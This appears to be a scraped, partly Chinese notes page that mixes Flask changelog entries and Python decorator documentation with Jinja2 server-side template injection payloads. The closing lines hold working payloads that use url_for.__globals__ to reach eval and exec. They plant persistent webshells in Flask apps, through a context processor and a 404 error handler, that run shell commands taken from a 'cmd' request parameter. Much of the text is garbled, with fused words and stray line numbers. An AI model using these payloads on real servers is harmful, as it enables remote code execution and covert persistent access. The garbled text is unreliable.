Flask.add_url_rule can now also register a view function.——Version 0.2
The endpoint for the Module.add_url_rule method is now optional to be consistent with the function of the same name on the application object. ——Version 0.6
Flask no longer internally depends on rules being added through the add_url_rule function and can now also accept regular werkzeug rules added to the url map.——Version 0.7 Flask 内部不再依赖通过 add_url_rule 函数添加规则,现在也可以接受添加到 url 映射中的常规 werkzeug 规则。——0.7 版本
The View classattribute View.provide_automatic_options issetin View.as_view, to be detected by Flask.add_url_rule. #2316 Flask.add_url_rule accepts the provide_automatic_options argument to disable adding the OPTIONS method. #1489 ——Version 1.0
A function returning another function, usually applied as a function transformation using the @wrapper syntax. Common examples for decorators are classmethod() andstaticmethod().
The decorator syntax is merely syntactic sugar, the following two function definitions are semantically equivalent:
deff(arg): ... f = staticmethod(f)
@staticmethod deff(arg): ... The same concept exists for classes, but is less commonly used there. See the documentation for function definitions andclassdefinitionsfor more about decorators.翻译一下
即 defdecorator(func): defwrapper(*args, **kw): #新增的逻辑 result = func(*args, **kw)#保存 return result #把结果外抛 return wrapper #返回操作 #使用时 @decorator deffunc()
before_request()
1 2 3
When used on an app, this executes before every request. When used on a blueprint, this executes before every request that the blueprint handles.
after_request
1 2 3
When used on an app, this executes after every request. When used on a blueprint, this executes after every request that the blueprint handles.
{{ url_for.__globals['__builtins__']['eval']( "app.template_context_processors[None].append( lambda: {'vk': __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else None})", { 'request': url_for.__globals__['request'], 'app': url_for.__globals__['current_app'] } ) }}
{{url_for.__globals__['__builtins__']['eval']("app.template_context_processors[None].append(lambda : {'vk': __import__('os').popen(request.args.get('cmd')).read() if 'cmd'in request.args.keys() else None})",{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}
@app.errorhandler
错误处理的装饰器
1 2 3 4 5 6 7 8
{{url_for.__globals__['__builtins__']['exec']("app.register_error_handler(404,lambda x :__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()))",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}